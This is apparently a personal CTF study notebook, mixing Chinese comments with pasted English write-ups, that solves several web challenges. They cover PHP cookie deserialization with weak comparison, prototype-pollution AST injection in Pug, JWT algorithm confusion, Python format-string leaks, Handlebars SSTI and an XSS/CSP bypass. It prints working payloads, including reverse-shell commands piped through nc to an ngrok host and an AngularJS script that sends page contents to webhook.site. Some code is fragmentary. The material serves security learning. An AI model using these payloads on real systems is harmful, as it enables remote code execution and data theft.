Usual or Unusual <?php error_reporting(0 ); $seed = file_get_contents("seed" ); $flag = file_get_contents("flag" ); class User { private $id; private $username; private $password; private $showSource; private $color; function __construct ($id ) { $this ->id = $id; $this ->username = "guest" ; $this ->password = "guest" ; $this ->showSource = false ; $this ->color = "#FFFFFF" ; } public function getUsername ( ) { return $this ->username; } public function setUsername ($username ) { $this ->username = $username; } public function getPassword ( ) { return $this ->password; } public function setPassword ($password ) { $this ->password = $password; } public function getShowSource ( ) { return $this ->showSource; } public function setShowSource ($showSource ) { $this ->showSource = $showSource; } public function getColor ( ) { return $this ->color; } public function setColor ($color ) { $this ->color = $color; } } $userColor = "#FFFFFF" ; $result = "Login Failed" ; if (isset ($_POST["login" ])){ if (isset ($_COOKIE["cookie" ])){ $user = unserialize($_COOKIE["cookie" ]); $user->setUsername($_POST["username" ]); $user->setPassword($_POST["password" ]); setcookie("cookie" , serialize($user), [ "expires" =>time() + (86400 * 30 ), "path" =>"/" , "httponly" =>true , "samesite" =>"Strict" ]); } } if (isset ($_COOKIE["cookie" ])){ $user = unserialize($_COOKIE["cookie" ]); if ($user->getShowSource()){ highlight_file(__FILE__ ); die (); }else { $userColor = $user->getColor(); gmp_random_seed($seed); $rand = gmp_random_bits(100 ); $password = $flag . gmp_strval($rand); if ($user->getUsername() == "admin" ){ if ($user->getPassword() == $password){ $result = $flag; } } } }else { $rand = gmp_random_bits(100 ); $user = new User(gmp_strval($rand)); setcookie("cookie" , serialize($user), [ "expires" =>time() + (86400 * 30 ), "path" =>"/" , "httponly" =>true , "samesite" =>"Strict" ]); } echo "<!DOCTYPE html> <html lang='en'> <head> <title>Login Page</title> <meta charset='UTF-8'> <meta name='viewport' content='width=device-width, initial-scale=1'> <link rel='icon' type='image/png' href='images/icons/favicon.ico'/> <link rel='stylesheet' type='text/css' href='vendor/bootstrap/css/bootstrap.min.css'> <link rel='stylesheet' type='text/css' href='fonts/font-awesome-4.7.0/css/font-awesome.min.css'> <link rel='stylesheet' type='text/css' href='vendor/animate/animate.css'> <link rel='stylesheet' type='text/css' href='vendor/css-hamburgers/hamburgers.min.css'> <link rel='stylesheet' type='text/css' href='vendor/select2/select2.min.css'> <link rel='stylesheet' type='text/css' href='css/util.css'> <link rel='stylesheet' type='text/css' href='css/main.css'> </head> <body> <div class='bg-contact2'> <div class='container-contact2'> <div class='wrap-contact2' style=\"background: " . $userColor . ";\"> <form method='POST' enctype='multipart/form-data' class='contact2-form validate-form'> <span class='contact2-form-title' style='padding-bottom: 5%;'> Login </span> <div class='wrap-input2 validate-input' data-validate='Username is required'> <input class='input2' type='text' name='username'> <span class='focus-input2' data-placeholder='USERNAME'></span> </div> <div class='wrap-input2 validate-input' data-validate = 'Password is required'> <input class='input2' type='password' name='password'> <span class='focus-input2' data-placeholder='PASSWORD'></span> </div> <div class='container-contact2-form-btn'> <div class='wrap-contact2-form-btn'> <input type='submit' name='login' value='Login' class='contact2-form-btn'> </div> </div> </form><br>" . $result . "</div> </div> </div> <script src='vendor/jquery/jquery-3.2.1.min.js'></script> <script src='vendor/bootstrap/js/popper.js'></script> <script src='vendor/bootstrap/js/bootstrap.min.js'></script> <script src='vendor/select2/select2.min.js'></script> <script src='js/main.js'></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'UA-23581568-13'); </script> </body> </html>" ;?>
反序列化在cookie里!
PAYLOAD
if ($user->getUsername() == "admin" ){ if ($user->getPassword() == $password){ $result = $flag; }
O:4:"User":5:{s:8:".User.id";s:31:"1196235244507923447201774248406";s:14:".User.username";s:5:"guest";s:14:".User.password";s:5:"guest";s:16:".User.showSource";b:0;s:11:".User.color";s:7:"#FFFFFF";}
O:4:"User":5:{s:8:".User.id";s:31:"1196235244507923447201774248406";s:14:".User.username";s:5:"admin";s:14:".User.password";b:1;s:16:".User.showSource";b:0;s:11:".User.color";s:7:"#FFFFFF";} .是%00 可能是因为网页解密的问题! O%3A4%3A%22User%22%3A5%3A%7Bs%3A8%3A%22%00User%00id%22%3Bs%3A30%3A%22206922801991758349534736508434%22%3Bs%3A14%3A%22%00User%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00User%00password%22%3Bb%3A1%3Bs%3A16%3A%22%00User%00showSource%22%3Bb%3A0%3Bs%3A11%3A%22%00User%00color%22%3Bs%3A7%3A%22%23FFFF00%22%3B%7D O%3A4%3A%22User%22%3A5%3A%7Bs%3A8%3A%22%00User%00id%22%3Bs%3A30%3A%22206922801991758349534736508434%22%3Bs%3A14%3A%22%00User%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00User%00password%22%3Bb%3A0%3Bs%3A16%3A%22%00User%00showSource%22%3Bb%3A0%3Bs%3A11%3A%22%00User%00color%22%3Bs%3A7%3A%22%23FFFF00%22%3B%7D
为啥要把密码变成二进制呢!
个人感觉! 010101 == 'aaaaa'
弱比较的化 字符串是 0 ! 就是一个php弱比较!
O:4 :"User" :5 : { s:8 :".User.id" ; s:30 :"890143755983288300723865605783" ; s:14 :".User.username" ; s:5 :"admin" ; s:14 :".User.password" ; i:0 ; s:16 :".User.showSource" ; b:0 ; s:11 :".User.color" ; s:7 :"#FFFFFF" ; } 用二进制的化 b:1 ; 为什么呢! 因为是1 ! 所以二进制里 是 2 的0 次方! 反正二进制 必须是1 才行!
PwnQL #1 <?php ?> '}, files={' file': (' tgao.txt',f)}, cookies={' PHPSESSID': sessid} ) def read(session): while True: resp = session.post(' http: print (resp.url) if 'tgao.txt' in resp.text: print (resp.text) event.clear() else : print ("[+++++++++++++]retry" ) if __name__=="__main__" : event=threading.Event() with requests.session() as session: for i in range(1 ,30 ): threading.Thread(target=write,args=(session,)).start() for i in range(1 ,30 ): threading.Thread(target=read,args=(session,)).start() event.set()
BlitzProp AST注入 啥啊! https://blog.p6.is/AST-Injection/#Pug
https://www.zhihu.com/question/33107553
https://esprima.org/demo/parse.html#
AST:
抽象语法树(Abstract Syntax Tree)也称为AST语法树,指的是源代码语法所对应的树状结构。也就是说,对于一种具体编程语言下的源代码,通过构建语法树的形式将源代码中的语句映射到树中的每一个节点上。
litzProp
This challenge was pretty similar to the challenge “Gunship”(writeup ) of HTB University CTF 2020. This challenge was an AST injection described in this blog . To exploit this web, we first need to trigger the “unflatten” function with our payload and then the “pug.compile” function so that the server runs our payload. The vulnerable code of the challenge:
My final exploit.py:
import requestsTARGET\_URL = 'http://URL:PORT' a = requests.post(TARGET\_URL + '/api/submit' , json = { "__proto__.block" : { "type" : "Text" , "line" : "process.mainModule.require('child_process').execSync(`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/ash -i 2>&1|nc NGROKURL NGROKPORT >/tmp/f`)" }, }) a = requests.post(TARGET\_URL + '/api/submit' , json = { "song.name" : "Not Polluting with the boys" }) requests.get(TARGET_URL)
{ "song.name": "The Goose went wild", "__proto__.block":{ "type":"Text", "line":"process.mainModule.require('child_process').exec('nc 3.tcp.ngrok.io 11163 -e /bin/sh')" } }
nc 3.tcp.ngrok.io 11163 -e /bin/sh rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/ash -i 2>&1|nc NGROKURL NGROKPORT >/tmp/f 一样
CaaS Solution curl 支持很多协议! 皮 错了
着个题和 file协议有关! 知道file协议只能本地读取就可以了!
https://www.cnblogs.com/lishanlei/p/9327646.html
浏览器通过file://访问文件和http://访问文件的区别 file协议用于访问本地计算机中的文件,好比通过资源管理器中打开文件一样,需要主要的是它是针对本地的,即file协议是访问你本机的文件资源。
http访问本地的html文件,相当于将本机作为了一台http服务器,然后通过localhost访问的是你自己电脑上的本地服务器,再通过http服务器去访问你本机的文件资源。
再简单点就是file只是简单请求了本地文件,将其作为一个服务器未解析的静态文件打开。而http是在本地搭建了一个服务器再通过服务器去动态解析拿到文件。
其他区别:
file协议只能在本地访问
本地搭建http服务器开放端口后他人也可以通过http访问到你电脑中的文件,但是file协议做不到
file协议对应有一个类似http的远程访问,就是ftp协议,即文件传输协议。
file协议无法实现跨域
所以可以直接读取!
junior-jwt jwt绕过 baby web jwt Solution For creating the payload, we can use the website’s source code.
We should just change the main function as below (changing role to admin and changing RS256 to HS256):
就是把非对称加密 变成对称加密
function main ( ) { $publikKey = '-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEApPRW0nXMoQyN8GzVCHaW nWyq00omHh/o7AXEJvbpVBk5HTWLt+Zdj1aK1JFWU5lPeMSoXkf7WJiqoGgwVblX Rq2dSIIaNBFSjomS1Mcw1Tyx+q9Y6CPJGdwAMEMH5uKhGkgV9OrFQcHoozLAvzFl BneqmTO9+V1FKEuHWHItvdP1em7UiUnZ7JXb13L4IbZVGPNgDVf0GoButIlVo1+T pMZcBHNV0ndGZg0e6qTCp5m9yMWcH697Rt2FRN4fgJpYBknBs8UrAeCczRkk6037 N+c4IM+St6KZNqg+4ZlRZC+V9zOBSTkrXXN/CXRUiIQMgmyit5zbEpN8PUY6VPzk zVI9FbkB0nb+Dp04VPRWeeV1IKPZk2DuSOALh9ZacbEQ8Spuua6nxZ5gCSve7TL7 r9xg8ml5zZXAw7l8WoHkyy2ocPy0OL+PWFvUar59epfPUQZmRE08yVrlvy+WXFC2 dbFxD80tPgbcjJbKRGGv1uOx/3Z2HrXHoOslVmV87rgWfxBaJjrSsSY1fKLYJLnk FKJd6eSLDYzTAczbMiov8F9ovMw4/juWZy2s4QOCdXp7byKOuQUJ+HSiZiNiyjTk XaA5oGEF/FIxAMRbaEd/YSsE7ASMxS4mhyIAGFvqK8YZ+xqEAbNlT4zK+dAAC3mL I/VyHBAlgHRxEiRE860DhfcCAwEAAQ== -----END PUBLIC KEY-----' ; $issuedAt = new DateTimeImmutable(); $data = [ "role" => "admin" , "iat" => $issuedAt->getTimestamp(), "nbf" => $issuedAt->getTimestamp() ]; $token = JWT::encode($data, $publikKey, 'HS256' ); echo $token; }
`RS256` to `HS256` HS256 是对称的!
SSTI web pythonMagic Render
This was a web challenge in the Hero CTF 2021.
https://www.heroctf.fr/challenges
Clicking the link gives us this page:
You can enter a title and body and you’ll get back an html page with your title and body inserted.
I tried various special characters until I saw that {} in the body causes this error.
Something went wrong, sorry! It's only the alpha version !
After some searching, I found this online: https://podalirius.net/articles/python-format-string-vulnerabilities/
Finding this page was key to solving this challenge. No way would I have done so without it.
I tried an example from that page:
{self.__init__.__globals__}
and got (newlines added for readability):
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f5107b17518>, '__spec__': None, '__annotations__': {}, '__builtins__': , '__file__': 'app.py', '__cached__': None, 'Flask': , 'render_template': , 'request': , 'FlaskView': , 'route': , 'dis': , 'app': , 'port': 8050, 'secret_function': , 'App': }
Notice there is a secret_function!
At first I tried to access it like this:
{self.__init__.__globals__.secret_function}
but got back the error. Eventually I learned that I needed to use brackets since __globals__ is a dictionary.
{self.__init__.__globals__[secret_function]}
But that just gives back an empty page.
In hindsight, that makes sense since that object must not have a string representation or else it would’ve shown it to us when we dumped out __globals__.
If I try to call this function:
{self.__init__.__globals__[secret_function]()}
I get back an error.
At this point, I didn’t know to do.
I copied some example code from the above page and hacked on it a bit so I could play around with this locally.
import sys def secret_function(): flag = 'wow' return flag class TEST(): def __init__(self): self.testValue = 'test' def renderHTML(self, templateHTML, text): return (templateHTML.format(self=self, text=text)) if __name__ == '__main__': if len(sys.argv) != 2: print("Usage : python3 "+sys.argv[0]+" TEMPLATE CONTENT") else : a = TEST() print(a.renderHTML(sys.argv[1], 'foo'))
I could then call this locally like:
python3 crack.py '{self.__init__.__globals__}'
and got this output:
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x10ebb0040>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'crack.py', '__cached__': None, 'sys': <module 'sys' (built-in)>, 'secret_function': <function secret_function at 0x10ede2790>, 'TEST': <class '__main__.TEST'>, 'a': <__main__.TEST object at 0x10edf6fd0>}
That looks similar enough to the challenge that I thought I was on the right track.
Wanting to know what was hiding inside the function object, I hacked the renderHTML() method to be:
def renderHTML(self, templateHTML, text): return dir(self.__init__.__globals__['secret_function'])
The dir() method will dump out all of an object’s properties.
It printed this:
['__annotations__', '__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__get__', '__getattribute__', '__globals__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__kwdefaults__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__']
Not knowing what to look for, I tried several of these until I stumbled upon __code__:
def renderHTML(self, templateHTML, text): return dir(self.__init__.__globals__['secret_function'].__code__)
and got:
['__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_kwonlyargcount', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_posonlyargcount', 'co_stacksize', 'co_varnames', 'replace']
co_varnames looked interesting so I tried:
return self.__init__.__globals__['secret_function'].__code__.co_varnames
and got:
Then I tried co_consts :
return self.__init__.__globals__['secret_function'].__code__.co_consts
and got:
Armed with this, I was ready to return to the challenge.
When I submit this for the body:
{self.__init__.__globals__[secret_function].__code__.co_varnames}
it returned:
Finally, I submitted:
{self.__init__.__globals__[secret_function].__code__.co_consts}
and got:
(None, 'Hero{l34k_my_byt3c0d3zzzzzz}')
Again, I got lucky that I found this particular page and that I happened find my way through the maze of properties to find the one containing the flag.
I definitely learned a lot about all of the properties I never knew were hiding inside Python function objects.
Black Market nodejs ssti Description
A group of hackers sell illegal services on the deep web. This site has already caused a lot of damage, it must be stopped!
Find a way to take control of the web server!
URL : http://chall2.heroctf.fr:3050
Format : Hero{}
Author : Worty
Solution
We’ve given a url http://chall2.heroctf.fr:3050.
Basket feature shows 403.
We can buy stuff navigating to Our services
If we buy any item and go back to basket we see it shows price and details.
We see that it shows price and number of services purchased. It also generates new bitcoin address on every refresh. The Buy request look like below.
POST /buy HTTP/1.1 Host: chall2.heroctf.fr:3050 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 29 Origin: http://chall2.heroctf.fr:3050 DNT: 1 Connection: close Referer: http://chall2.heroctf.fr:3050/services/malware id=2&type=malware&price=0.053
Trying SSTI attempt succeeded with {7*7} input.
POST /buy HTTP/1.1 Host: chall2.heroctf.fr:3050 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 27 Origin: http://chall2.heroctf.fr:3050 DNT: 1 Connection: close Referer: http://chall2.heroctf.fr:3050/services/ddos Cookie: basket=eyJwdXJjaGFzZXMiOnsiMCI6eyJ0eXBlIjoibWFsd2FyZSIsImlkIjoyLCJwcmljZSI6IjAuMDUzIn19fQ%3D%3D id=1&type=ddos&price={7*7}
Looking at the response headers we see that the server is hosted using NodeJS Express framework.
HTTP/1.1 200 OK X-Powered-By: Express Set-Cookie: basket=eyJwdXJjaGFzZXMiOnsiMCI6eyJ0eXBlIjoibWFsd2FyZSIsImlkIjoyLCJwcmljZSI6IjAuMDUzIn19fQ%3D%3D; Max-Age=900; Path=/; Expires=Mon, 26 Apr 2021 05:23:06 GMT; HttpOnly Content-Type: text/html; charset=utf-8 Content-Length: 17 ETag: W/"11-KLSLPG1b7/ut5NWgA8Up/1GscNo" Date: Mon, 26 Apr 2021 05:08:06 GMT Connection: close {"ok":"Success."}
We can try payloads related to either Jade or Handlerbars template engines. I wrote a simple python script to explore the injection.
import re import sys import requests r = requests.post('http://chall2.heroctf.fr:3050/buy', data={'id':'1',"type":'malware',"price":sys.argv[1]}) c = r.headers['Set-Cookie'].split('=')[1].split(';')[0] r = requests.get('http://chall2.heroctf.fr:3050/basket', cookies={'basket':c}) print(re.findall(r'Total:.*',r.text)[0])
Running this script with an argument {{this}} gives me [object object] output.
python3 market.py Total: [object Object]<br/>
This confirms that the application is using Handlebars template engine. We can read more from this blogpost. env can be accessed using global.process.env and the JavaScript object to string conversion can be done using JSON.stringify method.
python3 market.py '{{JSON.stringify(process.env)}}' Total: {"NODE_VERSION":"14.16.1","HOSTNAME":"ca7ae5cfca55","YARN_VERSION":"1.22.5","HOME":"/root","PATH":"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","PWD":"/usr/src/app"}<br/>
Output is gibberish :P but we can read stuff. Flag can be printed using below payload.
python3 market.py '{{JSON.stringify(process.mainModule.constructor._load("child_process").exec("cat flag.txt"))}}' Total: "Hero{g3t_0n_my_l3v4l_4nd_fl3x}\n"<br/>
两篇nodejs文章不错!
https://mp.weixin.qq.com/s/enBJstbquGhQIaxOnrOPtg
https://mp.weixin.qq.com/s/Rt_l5y4ivQZQLKp9cM-AaA
The Galactic Times 知识点:xss+csp绕过 Description The Galactic Times is a monthly Alien newspaper that focuses on news from around the Galaxy. This month’s issue is focused on the Human race and contains some very controversial articles. The newspaper reportedly contains a restricted endpoint with some Alien secrets. Can you find a way to view the forbidden pages?
Files Provided docker environment.
Looking around This is the website lmao 😂.
Code routes/index.jsconst bot = require('../bot'); const fs = require('fs'); let db; async function router (fastify, options) { fastify.get('/', async (request, reply) => { return reply.type('text/html').send(fs.readFileSync('views/index.html',{encoding:'utf8', flag:'r'})); }); fastify.get('/alien', async (request, reply) => { if (request.ip != '127.0.0.1') { return reply.code(401).send({ message: 'Only localhost is allowed'}); } return reply.type('text/html').send(fs.readFileSync('views/alien.html',{encoding:'utf8', flag:'r'})); }); fastify.get('/feedback', async (request, reply) => { return reply.type('text/html').send(fs.readFileSync('views/feedback.html',{encoding:'utf8', flag:'r'})); }); fastify.post('/api/submit', async (request, reply) => { let { feedback } = request.body; if (feedback) { return db.addFeedback(feedback) .then(() => { bot.purgeData(db); reply.send({ message: 'The Galactic Federation has processed your feedback.' }); }) .catch(() => reply.send({ message: 'The Galactic Federation spaceship controller has crashed.', error: 1})); } return reply.send({ message: 'Missing parameters.', error: 1 }); }); fastify.get('/list', async (request, reply) => { if (request.ip != '127.0.0.1') { return reply.code(401).send({ message: 'Only localhost is allowed'}); } return await db.getFeedback() .then(feedback => { if (feedback) { return reply.view('views/list.pug', { feedback: feedback }); } return reply.send({ message: 'The Galactic Federation archives appear to be empty.' }); }) .catch(() => { return reply.send({ message: 'The Galactic Federation spaceship controller has crashed.' }); }); }); } module.exports = database => { db = database; return router; };
database.jsconst sqlite = require('sqlite-async'); class Database { constructor(db_file) { this.db_file = db_file; this.db = undefined; } async connect() { this.db = await sqlite.open(this.db_file); } async migrate() { return this.db.exec(` DROP TABLE IF EXISTS feedback; CREATE TABLE IF NOT EXISTS feedback ( id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, comment VARCHAR(255) NOT NULL, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ); INSERT INTO feedback (comment) VALUES ('Issue #256 is the best issue so far. Keep up the good work.'); INSERT INTO feedback (comment) VALUES ('Articles could be better. The memes are not very realistic.'); INSERT INTO feedback (comment) VALUES ('This article is very specist. Humans are better than that.'); `); } async addFeedback(comment) { return new Promise(async (resolve, reject) => { try { let stmt = await this.db.prepare('INSERT INTO feedback (comment) VALUES (?)'); resolve(await stmt.run(comment)); } catch(e) { reject(e); } }); } async getFeedback() { return new Promise(async (resolve, reject) => { try { let stmt = await this.db.prepare('SELECT * FROM feedback'); resolve(await stmt.all()); } catch(e) { reject(e); } }); } } module.exports = Database;
bot.jsconst puppeteer = require('puppeteer'); const browser_options = { headless: true, args: [ '--no-sandbox', '--disable-background-networking', '--disable-default-apps', '--disable-extensions', '--disable-gpu', '--disable-sync', '--disable-translate', '--hide-scrollbars', '--metrics-recording-only', '--mute-audio', '--no-first-run', '--safebrowsing-disable-auto-update' ] }; async function purgeData(db){ const browser = await puppeteer.launch(browser_options); const page = await browser.newPage(); await page.goto('http://127.0.0.1:1337/list', { waitUntil: 'networkidle2' }); await browser.close(); await db.migrate(); }; module.exports = { purgeData };
views/alient.html[REDACTED] <aside> <div> <div class="issue">⟟⌇⌇⎍⟒ #256</div> <div class="date">⎎⍀⟟⎅⏃⊬, 29 ⋔⏃⍀☊⊑, 2069</div> <div class="edition">CHTB{f4k3_fl4g_f0r_t3st1ng}</div> </div> </aside> [REDACTED]
Methodology We have to perform a GET /alien to get the flag which is in the html. However we will get blocked because the request is not coming from 127.0.0.1. We can perform POST /api/submit to give feedback. This feedback gets saved in the database. After that purgeData() is called and the bot visits http://127.0.0.1:1337/list. This endpoint list all feedback including our recently added feedback. We cannot perform the GET /list ourselves because we will get blocked again due to 127.0.0.1 restriction. The added feedback is not sanitized therefore we can inject html tags without problems.
The idea here is to insert a feedback containing XSS <script> tags. The bot will open the /list and parse the page which contains our XSS payload which will execute. The XSS payload should perform a GET /alien (which is fine because the request is coming from localhost) and send the page html to our remote listening endpoint.
There is a problem. The server enforces CSP. Example.
Content-Security-Policy: default-src 'self';script-src 'self' 'unsafe-eval' https://cdnjs.cloudflare.com/;style-src 'self' 'unsafe-inline' https://unpkg.com/nes.css/ https://fonts.googleapis.com/;font-src 'self' https://fonts.gstatic.com/;img-src 'self' data:;child-src 'none';object-src 'none'
For better understanding we can use CSP Evaluator .
There is unsafe-eval for https://cdnjs.cloudflare.com. HackTricks has a payload specifically for cloudflare, yay 🥳. The payload uses an angular scripts which is hosted on cloudflare with which we can perform XHR requests. With this we can perform a request (to /alien) and get the page content. Then we will send the page content to our remote endpoint.
On more problem is, that the /alien page contains weird characters and (probably) the method in the payload will crash when reading those characters. So we will only “grep” a string from the page cointaing CHTB{.*} using js method match().
Exploit Be sure to substitute the location with your own remote endpoint. We use webhook.site .
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script><div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };var z=new XMLHttpRequest();z.onreadystatechange=function(){if (z.responseText) location="https://webhook.site/4b9d1f8b-6d9a-4973-9a27-b81b2eebbaae?a="+btoa(z.responseText.match(/CHTB{.*}/)[0])};z.open("GET","http://127.0.0.1:1337/alien",false);z.send();//');}} </div>
Sending payload…
We get a hit! 🙂
Parameter a contains base64 encoded flag.
$ echo -n 'Q0hUQnt0aDNfd2gxdDNsMXN0M2RfQ05EX3N0cjFrM3NfYjRja30=' | base64 -d CHTB{th3_wh1t3l1st3d_CND_str1k3s_b4ck}
总结一下把 其实 代码 没必要都看懂! 关键的会就行了! 主要是逻辑结构 要清除!!
慢慢来! 渗透思路要广阔才行!
多打打比赛,看看题解!